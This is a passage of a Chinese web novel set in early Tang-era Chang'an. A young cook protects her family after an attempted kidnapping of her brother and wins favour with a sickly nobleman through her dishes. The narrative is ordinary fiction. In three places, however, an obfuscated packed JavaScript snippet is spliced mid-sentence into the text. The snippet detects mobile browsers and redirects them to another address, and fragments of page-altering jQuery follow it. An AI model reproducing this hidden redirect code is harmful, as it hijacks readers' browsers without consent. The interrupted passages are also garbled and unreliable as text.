崔十九郎从袖袋里拿出一枚通体漆黑、拇指大小的令牌,在指尖摩挲着。 “先不着急,”他语气依旧平淡,“这次去学堂不是我所想,但崔将军总归不可能无缘由做这件事,不过不管如何,迟早会显露出来。” 这些年来,老夫人对他很好,崔将军也当他是子侄对待,他不愿将崔将军往坏了去想。 他抬起眼,看向崔老,眼神锐利如出鞘的剑锋:“新朝初立,你我所谋之事若是想成事,择良木而栖是必然,这一切,或许是考验吧。” 崔老深吸一口气,眼中流露出欣慰与凝重交织的神色,“爷圣明,就是,就是老奴为爷抱屈。”若不是前朝皇帝昏庸,流放了十九爷母亲娘家一族,夫人何至于贬妻为妾,十九爷何至于顶着庶子身份。 “无妨,这么些年来,我不也过来了。”崔十九郎不想继续这个话题,转而说;“童家,还得劳烦崔老也盯着点。文嬷嬷之流,不该奔着要了童家一家命而去!” 他顿了顿,眼中闪过一丝算计的光芒:“童寄在浅水原立下的是实打实的军功,本是从崔家而出,天然就与我崔家亲近,但若是因文嬷嬷之流跟崔家结了怨,便是不妥了。”而且他最看不惯的便是这种后宅阴私手段。 “老奴明白了。”崔老彻底了然,“文嬷嬷那,可需咱们做点什么?” “无需,让她再蹦跶几日吧。”崔十九郎端起那碗已温凉的汤药,一饮而尽,眉头都未曾皱一下,“待封赏明旨一下,童寄‘阵亡’的谣言不攻自破,她和她背后的人,自然会慌。我们只需静观其变。” 他放下药碗,用绢帕擦了擦嘴角,语气轻描淡写,“若是那边看不上,我们因着张军士的渊源而跟童家交好,岂不也是件好事。” “再一个,童小娘子的手艺……确实合我胃口。” 窗外最后一丝天光湮灭,书房内烛火跳动,将崔十九郎的身影拉得细长,投在墙壁上,仿佛一头即将苏醒、择人而噬的猛兽。 * 暮色如墨,缓缓浸染双梧巷。 童家灶屋里飘出粟米粥质朴的香气,童家人围坐在灶屋用着晚膳,与往日的热闹不一样,今日童家的餐桌上有些安静。 白氏心不在焉地喂着四郎吃着婴孩专属粟米糊糊,童白眼神游离,心不在焉,反倒是二郎和三娘,吃的喷香。 “阿姊,我吃好了。”二郎放下碗,小声道,“我想去北坊门那找胡叔。胡叔说今日他值夜班,下午会早点来,可以给我讲军中见闻。”稚嫩的脸庞上带上了几分急切的向往。 童白心中一紧,下意识想拦,却见弟弟眼中闪烁着对父亲身影的渴望。她压下不安,轻声道:“去吧,天黑前回来。” “晓得了!”二郎应了一声,像只灵巧的猴子般窜出了院门。 白氏望着儿子远去的背影,手中喂食的动作不自觉地慢了下来。她低声喃喃:“大娘子,我这心里……总像是悬着一块石头。” 原主是家中老大,白氏习惯称呼她为大娘子,至于说童白说过的名字,她虽知道,却从未叫过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那闲汉一个趔趄冲出,麻袋口已张开,眼看就要罩住二郎的头。 千钧一发之际,一枚石子破空而来,“啪”地打中他手腕! 闲汉惨叫一声,麻袋落地。 一个高大的身影如鬼魅般从阴影中闪出,一把将二郎护在身后,目光如刀,直刺陈大河藏身之处。 是张勇! 他面色冷峻,目光如电,扫向陈大河藏身的角落,右手看似随意地垂在身侧,但紧绷的肌肉透出随时可发动致命一击的警惕。 “什么人?敢在坊内行凶!”此时路人们都反应的过来,嘴里一直喊着有人牙子,人牙子来了的话语。 这动静一路往北坊门传去,这年头,坊吏兼顾着管理坊内治安的职责,所以北坊门今日上值的坊吏拔出腰间的短棍往这边奔来。 陈大河见势不妙,低骂一声,扭头就想溜。张勇却冷冷开口,声音不大,却清晰地传入每个人耳中:“陈大河,光天化日之下袭击军眷,你是嫌命长?”他直接喊出二郎的身份,将陈大河放在了军眷的对立面。 长安城内各大坊吏中有一大半是军中退下来的兵士,不说对军眷有所偏颇,但起码会更有好感。 陈大河脚步一僵,脸色瞬间惨白,心下慌乱,他没想到张勇会在这个时候出现。 他想逃,身后却没有让他逃离的路,不知何时,他身边围上了好些个练家子,一看就不是普通人的路人,这个时候,他也想明白了,阴狠的目光紧锁对面之人。 张勇目光锁定陈大河:“怎么?这么多的坊民看到的事情,难道你以为还有什么回圜余地?”他看向周遭,朝围观人群拱手道:“各位坊民,此人涉嫌袭击军眷,届时还请各位帮忙做个证。” 他高大的身躯背后瑟缩着一个小小的身影,正是童二郎。 童二郎清秀的脸庞全是惨白,一副惊魂未定的模样。 58. 家的感觉 周遭的坊民并未有人言语,毕竟长安初定,明哲保身是处世之道。 这么会儿的功夫,拿着棍子的坊吏跑了过来,看着双方对峙的场面,一时间有些摸不着头脑,但他认得张勇,将棍子别回腰间,朝张勇行礼问:“张小旗,适才此处可是因何喧哗?” 张勇是巡逻武侯里的小旗,直属宫内的禁军大将军管控,坊吏们隶属长安县管辖,虽平日里井水不犯河水,但在坊市秩序维护之事上,武侯级别高于坊吏。 张勇近段时间常来教习坊吏们巡逻新规,坊吏们也都知道他。 张勇抱拳回礼,“刘坊吏,这几人拿麻袋,想要掳了这孩童。此孩童乃军眷,其父正在崔将军麾下效力。”不紧不慢地将适才的情况都复述了一遍,主打一个既没有夸张也没有缩减,只陈述事实。 刘坊吏立马明白了,这位孩童一家必定是跟这位张小旗相识。不然为何对这孩童之事,知道的如此清晰。 可他现在就一个人在,那边有三人呢,他一时间不知如何回复合适。 似是看出了他的为难,张勇说:“若是坊吏大人不介意,我带来的人可以帮坊吏大人一下。” “谢过张小旗!” 陈大河还想挣扎,被张勇带来的人扭押起来。他怨毒地瞪了张勇一眼,却不敢再放肆。 一场危机,看似暂时化解。 张勇也送童二郎回了童家,童白和白氏知晓适才发生的一切后,一阵后怕,白氏抱着惊魂未定的二郎,无声落泪。 童白则要更理智些,朝张勇连忙道谢,“要不是有张军士在,二郎这回怕是要遭罪了!谢张军士!” “这事,全是十九爷的安排,”张勇可不敢居功,瞧了眼天色,“你家小儿郎可要看好了,我现在要去趟县衙跟进此事后续,先不多说了。” 童白行礼再次谢过张勇,目送他的身影离开双梧巷。她缓缓合上院门,将外界的喧嚣与恶意彻底隔绝。她回头看向惊魂未定的家人,心中一片冰冷。 她必须更快地站稳脚跟,更狠地亮出爪牙。 夜色如墨,彻底浸染了大地,童家院内却无人安眠。 灶屋里,油灯如豆。 二郎神情恹恹地靠坐在白氏怀中,三娘紧挨着童白,搭在她胳膊上的小手冰凉,被童白抱着的四郎似乎也感应到家中凝重的气氛,不再咿呀学语,只睁着乌溜溜的大眼,不安地看着大人们。 “阿娘,没事了,张军士把人抓走了。”童白的声音在寂静中显得格外清晰,她伸手握住白氏微微颤抖的手,试图传递一些力量,“官府会处置他的。” 白氏抬起泪眼,声音沙哑:“大娘子,官府从来不是帮着咱们这些苦主的……”这些年来,她虽因在崔府中得以安然度过了前朝的战乱,但也不是什么都不知晓。 童白闻言一怔,是了,她险些又忘了。这里不是法律健全、能予人安全感的后世,而是人命如草芥的古代。白氏的话,残酷却真实。 “……这次是抓走了,下次呢?听卢娘子说,那陈大河就是个滚刀肉,无赖泼皮!他今日敢对二郎下手,明日就敢……”白氏说不下去,只是将怀里的二郎搂得更紧,蹙眉念叨:“若是你们阿爹在家就好,也不知道他何时能回来。” 童白沉默,于她来说,她并不希望童寄回来,但于童家来说,童寄回来的确能解决不少问题。 毕竟,这里并不是女子也能安身立命的后世。 况且,白氏的话语并不是危言耸听。 明枪易躲,暗箭难防。 不管陈大河是不是被推出来的卒子,那崔府里的文奶娘和玉娘,以及隐在暗处的人,都不可小觑。 或许她对抗这吃人的社会,如同蚍蜉撼象,但她也定要撬出一片生路来。 这一瞬,童白想了许多,轻抚着三娘冰凉的小手,她目光平静却坚定地看向白氏:“害怕没有用。从爹……不,从坊间传出消息那天起,我们就该明白,往后日子,不能再指望别人时时护着。” 话说出来,她越发觉得自己的思路没有问题,“陈大河这次被当众抓住,但我们不能掉以轻心。从明日起,二郎、三娘和四郎,尽量不要出院门。我会把院墙再加高一些,上面插些碎陶片。” 看着童白条理清晰地安排,白氏恍惚间仿佛看到了丈夫童寄的影子。 此刻,她根本无暇去想面前之人并不是她的女儿,深吸一口气,努力压下心头的慌乱,点了点头:“都听你的。” “至于日后,”童白嘴角扯出一丝几乎没有弧度的笑,“我们不能一直这么被动下去。”她下回去崔家,定要努力向十九爷证明她童白以及她身后的童家,值得他投入更多的关注和庇护。 她心知,这份价值,光靠目前展现出来的厨艺还不够。 * 翌日,天色未明,童白便起身了。 她没有惊动家人,先是检查了院门后的门闩,见昨日她放在其间的发丝依旧在,心稍安。随后,从墙角找出之前白氏弄坏的破陶罐,用斧头敲成不规则的尖锐碎片,看着摊散着一地的碎陶片,她又忙着和泥,被人窥探的感觉时不时涌上心头,她越发卖力起来。 家里的院墙只比她高上一点,院门的门缝大的能让人窥探院内外情况,着实没得安全感。 先搞上碎瓷片,下一步,换院门! 晨曦微露时,童白额上见了汗,手心也被陶片划了几道小口子,但看着院墙上已然多了一圈不美观却感觉颇具威慑力的“盔甲”,她轻舒一口气,打水洗净手,开始准备早膳。 早膳依然是简单的粟米粥,不过童白在其中撒了一把从西市买来的野菌和一点点粗盐。菌子的鲜香被米粥的热气一激,立刻在灶屋里弥漫开来,稍稍抚平了童白紧绷的神经。 隐在暗处的人比她想象的更多。她盘算着,光加高院墙还不够,或许……可以在门内设置一道简单的绊索警报,或是存些石灰粉以备不时之需。这个时代的律法护不住她们,她就必须自己长出獠牙。 这时,院门被轻轻叩响。 童白警惕地走到门后,透过门缝看去,是卢婶子和吴三娘,两人手里还提着一小篮鲜嫩的荠菜。 “童家弟妹,大娘子,起来没?”卢婶子的声音带着关切,“昨日的事我们都听说了,真是吓死人!没事了吧?这是今早刚挑的荠菜,给你们添个菜。” 童白瞧了眼尚无动静的主屋,打开门,轻声道:“阿娘她们还在睡,我起来了,”视线快速扫过来人,以及卢婶手臂上挎着的竹篮,脸上带上几分感激与后怕,“谢卢婶惦记,二郎受了些惊吓,身子并无大碍。” 卢婶子拉着童白的手,压低声音:“那杀千刀的陈大河,真是黑了心肝!你们放心,坊里不少人都愿意去县衙作证呢!”她顿了顿,眼神有些复杂,“说起来……还是大娘子有本事,竟能得崔家如此回护。” 听着是羡慕,却也带着一丝不易察觉的试探。 童白垂下眼帘,“卢婶过奖了,不过是贵人慈悲,赏口饭吃罢了。我们小家小户,只求安稳度日,不敢多想其他。” 闻嗅着灶屋里传出的食物香味,卢娘子脸上的笑意倒是没有因为童白的话语减弱,吴三娘在一旁悄悄打量着童白,眼神有些复杂。 俩人又寒暄几句,送走卢家母女,童白关上门,脸上的疲色一闪而过。 应付热情邻里之事于她来说,可比做饭菜还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16523928|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 累。 * 长安县衙的侧堂内。 陈大河梗着脖子跪在地上,一口咬定自己只是喝多了酒,跟童家二郎开个玩笑,并非真的想伤人。他带来的那两个闲汉更是磕头如捣蒜,把责任全推给了陈大河,说自己只是被拉来壮胆,什么都不知道。 负责审理此案的县尉眉头紧锁。陈大河是市井无赖不假,但若就算苦主紧咬不放,若没有确凿的“谋害”证据,单凭“未遂”和坊民证词,最多也只能判他个杖刑和拘禁数月。 张勇站在一旁,抱臂冷眼看着陈大河几人。 来之前他便知晓,这次并不能一举拿下陈大河及其背后之人。 但,有些事,该做还是得做。 “大人,”张勇上前一步,抱拳道,“这几人光天化日之下,欲用麻袋掳走此孩童。此孩童乃军眷,若轻纵,恐寒了前线将士之心。” 哪怕扯大旗,他也要试一试。 县尉捋了捋胡须,沉吟道:“张军士所言有理。然律法如山,需得证据确凿。既然童家小郎君并未受伤……这样吧,将陈大河杖二十,监禁三个月,以儆效尤。其余二人,杖十,监一月。” 张勇没有再多言,行礼退下。他走出县衙,抬头望了望阴沉沉的天色。 他心下明白,真正的较量,永远在律法之外。 * 崔十九郎私宅。 崔十九郎听着张勇的回报,脸上没什么表情,只是指尖在书案上轻轻敲击着。 “三个月,够了。”他淡淡道,“足够让有些人以为,童家依旧软弱可欺。” 张勇垂首:“爷,是否要属下去‘提醒’一下陈大河?” “不必。”崔十九郎嘴角勾起一抹冷峭,“盯着他背后的人,看看他们下一步棋往哪里落。” “是。” “童家那边如何?” “童小娘子还算镇定,在加固院墙,家里其他人。”自这件事后,他多加派了几人在双梧巷那边。 崔十九郎眼中闪过一丝几不可察的欣赏。遇事不乱,还能迅速采取措施自保,这份心性,倒是可贵,就是与童小娘子搬出崔府前差异太大。 崔十九郎问:“童小娘子从何习来的厨艺,有消息了吗?”他吩咐张勇去查童家小娘子之事,既是信任,也是试探。 张勇神色一凛,躬身汇报:“用酸果解腻软肉的法子,与前朝宫中一位被贬的尚食女官有关,但线索到了潭州就断了。” 童小娘子从出生后便在这长安城,按理说并不难查明过往,从童小娘子这查不出来,他便从厨艺这块入手,只是,也没能查明。 “继续查。”崔十九郎目光投向窗外,又移回到张勇身上,吐出口浊气,缓缓道:“并不是我不信你,而是我总觉得,这位童小娘子不简单。” “属下明白。” 张勇退下后,崔十九郎独自坐在书房内,指尖无意识地摩挲着茶杯边缘。 童小娘子的厨艺,比不得世家权贵家养的厨娘,但每每食用却给他一种家的感觉。 他想起六岁那年的生辰,母亲偷偷忙活了半日,端出一盘形状歪扭、还带着焦糊味的甜糕。她用期待又忐忑的眼神望着他,那双总是盛着温柔与哀愁的眼睛,在那一刻亮得惊人。他大口吃完,用力点头说“好吃”,母亲便笑了,那笑容比窗外任何一朵花都明媚。 那是他最后一次见她那样笑。 母亲去世后,他便没了家。 为此,他还专门找医者询问过,得知并不会有一种药能让人回忆过往后,他对童小娘子的吃食是既怕又想。 这种感觉于他来说过于陌生,正因此,他更要查个清楚明白! 59. 酸腌菜配白粥 盘踞月余的倒春寒终于散去,连风都变得柔软。双梧巷口的梧桐树也抽出了嫩绿的新芽。 童白这两日几乎长在了灶屋,童家小院终日弥漫着诱人的食物香气。多亏近日刮南风,才没让半条巷子的人都循着味儿找上门来。 当然,总有嗅觉特别灵的,比如对门的胡商韦德少爷,就没少拎着东西来“以物易食”。卢娘子也来过,但童白心思全在美食之上,负责接待的白氏又话少,吴家便来得少了。 不过,这可不代表卢娘子放弃与童家交好的心思,这两日不仅回娘家打听自家男人何时能回家之事,还时刻关注着巷子里的动静。 她趴在门缝上往外张望的架势,让吴三娘看得脸颊发烫。 到了约定去给十九爷做膳食的日子,童白小心地搬出酱缸晾晒,又掀开酸腌菜坛子的一角,酸香扑面而来,仔细闻,里面还交织着一丝清甜的桂花和梅子果香。 之前用酒酿腌制的那一罐没成功,这罐是她前两日新腌制的。用在西市买的桂花醋和蜜渍青梅汁重新泡制,成菜更快,口感更偏酸甜爽口。 下饭什么的可能性不大,但作为开胃小零嘴,还是不错的。 她打算今天带去给崔十九爷尝尝。 结合几次见面观察和张勇无意中透露的信息,童白推断十九爷不是天生胃口差,就是因何外因,吃不下。但,她之前送的蒸饼、灌汤饼,十九爷都用完了。她心里有个大概猜想,需要后续来验证。 辰时未到,接她的马车准时停在院门口。童白叮嘱了白氏几句,抱着小陶罐上了车。 马车轱辘声中,童白心里盘算着菜单。 有时候,苦恼的不是没有选择,而是选择太多,却无从下手。 出了双梧巷,坐在车辕处的张勇背靠车厢,声音不高地递话:“童小娘子,十九爷说他没什么胃口,简单做点粥食就行。” 张勇没听到车厢里的回应,想起崔老的叮嘱,他连忙补充道:“小娘子也别太紧张。爷在吃食上……向来如此。要是觉得粥太简单,再做点像上回那样的蒸饼也行,带汤的或不带汤的,爷好像都能用点。” 童白心想,看来“没胃口”是十九爷的常态,但她也不能真的只按十九爷吩咐的,简单做点粥食就行。 不然,如何体现出她的价值来? 但不管心里怎么想,“好的,我知晓了。”童白回道,随即又轻声询问:“炖、煮、蒸这几样,十九爷平时碰哪种比较多?府上厨子常做哪类菜?”为何没有炒,因为唐朝还未有铁锅炒菜这一种后世常用的烹饪方式。 张勇回想了一下,语气有点无奈:“好像……没什么特别的偏好,大多动一两筷子,就撤了。” 童白心里“咯噔”一下。看来问题比她想的更麻烦。 没胃口份好几种情况,一个就是单纯的挑食,但崔十九爷身份摆在这,又能在长安城内单独开府另居,如何还会因为吃不到想吃的食物而那般瘦弱。 而且听张军士的话语,这十九爷什么都会尝一尝,什么都吃不多,这要不是过分自律,那便是对食物,不大感兴趣。 童白斟酌问,“十九爷岂不是时常饿肚?”所以才会那么瘦削。 “嗯,”张勇回想当初自己才来十九爷身边时,也悄悄问过崔老这个问题,“十九爷都饿习惯了。” 自然,这个时候她根本没问,既然是这么个不喜欢吃食的人,为何会吃了她做的蒸饼和灌汤饼,她下意识的认为,张勇嘴里的吃,也只是浅尝一两口。 童白眉头轻皱,身子随马车的行走而微微摇晃,下意识摩挲着冰凉的陶罐壁。 没胃口? 正好,酸能开胃。 宅邸依旧清静,童白被引到小厨房时,崔老已等在外面,神色看着比上次缓和些许,“童小娘子,十九爷只想喝点粥食,食材调料都在这里,小娘子请自便。” “是,谢崔老。”童白行礼,目光快速扫过食材区。上等粳米、小米、各种豆类……甚至还有一小袋珍贵的雪白糯米。 她没多犹豫,选了最好的粳米,淘洗后用少许盐和油拌匀静置。这样熬出的粥更绵滑。接着取了个小陶瓮,注入清水,指挥着一个看起来最沉稳的丫鬟烧火。 水沸后,她将米粒缓缓倾入翻滚的水中。待再次滚起,立刻转为文火,让米粒在微沸中慢慢融化。 等待的间隙,她另起锅,加了点清水和饴糖,又把几颗蜜渍青梅捣碎放进去,熬了份青梅蜜汁。清甜的香气散开,和粥米的朴素香味交织。 时间慢慢过去,粥渐渐变得粘稠润滑,米与水交融成一片莹润的玉色。 童白这才捧出她的宝贝陶罐,小心地用干净无水竹筷夹出一些酸腌菜。 腌菜呈现出诱人的琥珀色,菜茎饱满,菜叶微卷。 她将其切成细末,一半直接撒入即将熬好的粥里,利用余温激发出酸脆口感和风味。另一半,则放入小碟,淋上几滴刚熬好的青梅蜜汁,作为佐粥小菜。 最后,她把粥舀进温过的青瓷碗里。稠滑的米粥冒着热气,带着一丝若有若无的酸甜气。 旁边配上那碟淋了青梅汁的腌菜,和一小碗纯粹的青梅蜜汁。 “崔老,粥好了。”童白轻声道。 崔老上前,看了看品相,鼻翼微动,嗅到那不同寻常的微酸气息,他没说什么,示意小厮将粥与配菜放入食盒。 “小娘子在此稍候。”崔老留下话,便跟着提食盒的丫鬟往暖阁去了。 厨房里安静下来。童白站在一旁,心里开始打鼓。虽然她腌制时用了点巧思,但酸腌菜属市井常见,用来应对贵人的“没胃口”,是不是太冒险了?会不会被觉得上不了台面? 不过,现在想这些为时已晚,她便不再烦恼,找了个位置,等着主家的消息。 时间一点点过去,暖阁那边毫无动静。童白的心慢慢沉了下去。看来,还是搞砸了…… 就在她几乎放弃时,一阵略显急促的脚步声传来。张勇出现在门口,“童小娘子,”他语气有些着急,“爷让你过去一趟。” 童白仔细打量对方,没能从其脸上看出什么,心头一跳,“张军士,是粥……不合口味吗?” 张勇摇了摇头,压低声音:“爷……把粥用了大半碗。崔老叫你去,是想仔细问问这腌菜的事。” 用了大半碗? 童白几乎以为自己听错了。她用力攥了攥手指,压下翻涌的情绪,深吸一口气,理了理衣裙,跟着张勇走出厨房。 她没注意到,身后有一道目光,正嫉恨地盯着她的背影。 暖阁里,炭火温暖,松香与书卷气中,隐约残留着一丝酸甜。崔十九郎依旧斜倚在软榻上,姿态闲适。 他手边的小几上,放着的青瓷粥碗里已经空了多半。那碟淋了青梅汁的腌菜,也明显少了一些。 童白进来行礼后,恭敬站在下首处。 崔老朝十九爷那瞧了一眼,得到对方点头后,轻咳一声:“童小娘子,爷问你这腌菜,是如何制的?这味道……倒是别致。”丝毫没觉得这直接问人要方子的行为有何不妥。 童白垂首,恭敬地把腌制方法简单说了,重点强调了桂花醋和蜜渍青梅汁的“酸甜开胃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552223|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”之效。 这道腌菜方子,重在巧思,她没必要隐瞒。 崔十九郎一直安静地听着,指尖无意识地在书卷上轻点。等她说完,他才缓缓抬眼,目光落在她身上,那眼神依旧深邃,但少了几分之前的疏离。 “这酸味,和寻常的醋不同。”他声音不高,带着品评后的余韵,“梅子的清酸,勾着蜜甜,正好解了粥米的腻。” 他顿了顿,忽然问:“你怎么知道……我今天会想吃点‘酸’的?” 童白心里一紧,谨慎回答:“奴不敢妄加揣测,带上这酸腌菜只是觉得春日容易困乏,没胃口的时候,吃点酸甜的东西或许能醒脾开胃。这腌菜是家里常备的,就斗胆试了试。” “醒脾开胃……”崔十九郎轻声重复了一遍,嘴角似乎极淡地勾了一下,“你上回做菜,好像也提过类似的说法。” “回十九爷,很多食材本身也有调理身体的效用,搭配时节吃,算是一种……药食同源。”她尽量用这个时代能理解的方式解释。 “唔,”崔十九郎若有所思,没再看她,转而對崔老吩咐:“崔老,她这说法有点意思。往后,可以让她试试还有没有别的这类药食。”尾音着重咬在最后两个字上。 “是,老奴记下了。”崔老躬身应道。 童白听到这句话,心跳猛地加速,一股热流涌上心头。 十九爷话语的意思是…… 只要他对药食感兴趣一日,她便是有价值的? “下去吧。”崔十九郎挥了挥手,重新拿起了书卷。 “奴告退。”童白强压着激动,深深一礼,退出暖阁。 直到走出院落,春日温暖的阳光照在身上,童白才真切地感受到,她想靠着他这棵大树安稳乘凉,路还长得很。 见他们出去了,崔十九郎才端起茶盏,用苦涩的茶水洗去嘴里淡淡的铁锈味。 适才他表现的并不是那么在意,实则他吃到那碗白粥的第一口时,小时候随母亲在崔府破院落里艰难求生的记忆疯狂涌入,有快乐温馨的母子相处场景,也有被府中人欺负时的场景,这些记忆,早已被他藏在记忆深处。 舌尖抵着上颚,伤处泛着一丝丝疼,与上颚的痒意一同提醒着崔十九郎,这位童小娘子的厨艺于他来说,更有另一层的“功效”。 “崔老,这童小娘子的手艺颇不错,三日来一次,合适吗?” 崔老毕恭毕敬地站在一旁,对于主子的沉默习以为常,他脑中盘算着该请谁来请教童小娘子的药食同源理论,忽然被十九爷点明,还有些怔愣。 合适不合适? 厨娘本就是给主家做吃食的,有什么不合适的?崔老下意思想到,话说出口前,迟疑了,主子不是个心里没有成算的,这样说,便是有所顾虑,所以,好的下属应该想主人所想…… 一旁的张勇奇怪道:“这有什么不合适的?只要主子愿意,小的这就跟童小娘子说一声,她现在就在小厨房。” 这就是单细胞和复杂细胞的区别,张勇只会顺着话思索。 崔老思绪一转,“要老奴说,若是可以,童小娘子日日来咱府上才是好。” 张勇:“我也这般想,可惜童小娘子未答应。” 崔老见主子没出声,顺而提出建议:“此一时彼一时,不若,张小旗再去问一问?” 张勇点头,行礼后退出。 而在小厨房准备膳食的童白听到张勇的话语,下意识就想拒绝。 现如今几日来一趟,只算上门私厨,若是日日来,岂不是卖身为奴了? 这怎么能行! 60. 鸡茸春笋 想着自家那堆剪不断理还乱的糟心事,童白内心颇为踌躇,她斟酌着用词,“不知这日日来府上做膳食,是每日都派人来接我进府,还是……?” 张勇是个直肠子,大剌剌道:“其实何必如此麻烦,最简单的便是你来府上做厨娘。但上回我问过你,你并不愿意。” 童白目光扫过不远处几个看似心不在焉、实则竖着耳朵偷听的帮厨。 她继承了原主的记忆,却改不了现代人的思维。 不愿卖身为奴。 “是,府上自有大厨,我并不想因十九爷一时心善,反成了府上的负担。”但眼下她急需靠山,话锋随即一转,带着恰到好处的谦恭:“不过,若是能为十九爷调理膳食,我自是愿意尽心尽力。” 张勇得了这句准话,喜滋滋道:“成!明日还是这个时辰,自会有人去接你。”他今日休沐,明日需上值,便不能亲自来了。 童白点头,送走张勇后,便将全副心思都放在处理手头的河鲜上。 作为现代人,她对古代生食“鱼脍”的饮食习惯敬谢不敏,寄生虫风险太高。那位十九爷瞧着身子单薄,脾胃定然娇弱,熟食才是稳妥之选。 她决定做一道清蒸鱼。与后世直接淋汁不同,她将调好的几种料汁分碟另放,咸鲜口、加了茱萸酱的微辣口,一应俱全。唯独没放蒜蓉。 她可有切身体会,吃完蒜哪怕嚼茶叶,那味儿没大半天也散不掉。这小巧思既能迎合十九爷的口味,也能顺势摸清他的偏好。 鱼肉足够新鲜,便不必用酒只用姜葱也能去腥,这样还能最大程度保留其本真的鲜甜。 晚膳她用鸡肉做了白切鸡,鸡架与猪骨熬了高汤,冷凝成冻,包成了灌汤包。制作时,她婉言请小厨房的人都出去,美其名曰“怕扰了诸位”。实则,她深知在这时代,一个独门配方就是安身立命的根本,何况她这手艺已得了挑剔的十九爷的青眼。 果不其然,晚膳时,清蒸鱼、白切鸡,配上掺了一点点糯米的粳米饭,十九爷用得比往日都多。待到灌汤蒸饼上桌,他眼中更是闪过一丝极难察觉的亮光。 童白怕他久饿后积食,刻意控制了分量,惹得崔十九郎想再添一份都无从开口,只得作罢,心里却对明日之食生了期待。 崔十九郎立于窗前,神色难辨。 这些菜式,说技艺多么精深倒也未必,难得的是这份处处妥帖的巧思,以及对火候、食材精准的掌控。这个小娘子,果然有点意思。 * 送童白回去的马车稳当地停在院门口。她刚下车,对门走出的一个瘦脸女子,对方脸上堆着笑,眼底却带着打量:“这位便是童家小娘子吧?往后咱们就是邻居了,还请多多指教。” 童白脑海里立刻拉响警报。陈大河这会儿还关在县衙,陈家不想着疏通关系,反倒来对她家献殷勤? 她冷淡地点了下头,连寒暄都省了,径直扣响院门。 哪知院门并没有锁住,随着童白敲门的力度,院门朝里缓缓开启,童白眉头一皱,顾不上跟身后的崔家马夫话别,率先推门进到院子。 院子里,白氏正抱着四郎看着这边,二郎扯着三娘往童白这处快步走来,却不知为何,半路停下,脸上露出惶然的神情,童白顺着这道眼神往身后看去,就见陈家那名瘦脸女子正往这边瞧,看见童白,朝她露出个亲昵的笑脸。 童白朝马车夫行了一礼,“谢刘叔送我回来,就不多送了。” 崔府的马车夫,朝她点点头,牵着马调转方向后,驶离双梧巷。 童白看着马车远去,关上院门,也将对面那女子关在了门外。 那女子见状沉默一瞬,也合上了陈家的院门。 只不过,转过身去,那女子脸上的笑意瞬间褪尽,转而覆上一层骇人的厉色。 童家院中气氛却并未轻松多少,白氏担忧道“大娘子,今日这人上门来,非要送上那堆东西,说是为陈大河所做的行为道歉,我推脱不过,只能收下,然后她便一直在院子里,弄得我这院门关也不是不关也不是,也就在你归家前没多久,她才回去,我想着要去关门,却又怕……” “娘,越是这种人,越不能软。”童白打断白氏,语气坚定,“陈大河这件事本就是他们理亏,”视线扫过地上那东西,现在童家这个情况,她倒是没有硬气的说不收,“东西,就留下吧,要是她下次再来敲门,你们就说,我不在家,家里孩子多,忙,就不让她进来了。” 她将食盒里崔府赏的点心拿出来分给家人,看着三娘吃的开心的模样,童白的疲惫都散去了,心里盘算着明日去崔府,除了琢磨新菜式,或许……也该想办法预支些工钱了。 春季雨水渐渐多起来,主屋屋顶漏雨,需要钱好生修缮一番。 童家人围在一起说着家常,其乐融融。却不知,一墙之隔的暗处,正有双嫉妒的眼睛,透过缝隙死死地盯着他们。 次日,依旧是那辆马车来接。童白揣着几样她昨日归家后特意准备的“秘密武器”,心中已有了新的盘算。 到了崔府小厨房,氛围明显不同昨日。 帮厨们虽依旧手脚麻利,但眼神交接间多了几分闪烁与疏离,童白心知定是有事发生,但她只作不知,专注自己的事。 今日,她打算做一道顺应时令的鸡茸金丝笋,此时正值春季,万物生发,春笋都破土而出,正是鲜嫩的时候。 这道菜工序极为繁琐,是她准备用来“震场”的。 取嫩笋最尖端的部分,用手工撕成极细的丝,状若金线。再将鸡胸肉捶打成细腻的茸泥,用高汤调成糊状。最关键的一步,是将笋丝与鸡茸糊混合,入温油慢“养”至熟,成品鸡茸洁白如雪,包裹着根根金丝笋,口感软嫩中带着笋丝的脆爽,鲜味完全渗透,其制作难度和呈现出的精致度,绝非寻常厨子可以模仿。 她忙碌时,刻意屏退了旁人,只留了一个烧火的小丫鬟。慢火“养”制鸡茸金丝笋的浓郁香气,渐渐弥漫开来,甚至飘出了小厨房,引得路过院子的仆从都忍不住驻足深嗅。 览晖轩内,崔十九郎正倚在窗边软榻上看书,一阵似有若无的鲜香拂过鼻端,他翻书的动作微微一顿。 “今日做的什么?”他状似无意地问身旁侍立的崔老。 崔老早已得了消息,躬身回道:“回爷,听说是用鸡茸和今年新出的春笋一同制作菜肴,做法极奇,香味倒是勾人。” 崔十九郎垂下眼帘,指尖在书页上轻轻敲击了两下。“午膳时,让她随那送菜的小厮一同过来。”他倒要看看,这女子还能有多少意想不到的心思。 崔老应声出了门。 午膳时分,不出童白所料,那道工序繁复、色香味俱佳的鸡茸金丝笋,赢得了包括吴大厨在内所有暗中关注者的震惊。当童白随着传菜小厮一同去往主家院落时,吴大厨的脸色可见的又有了变化。 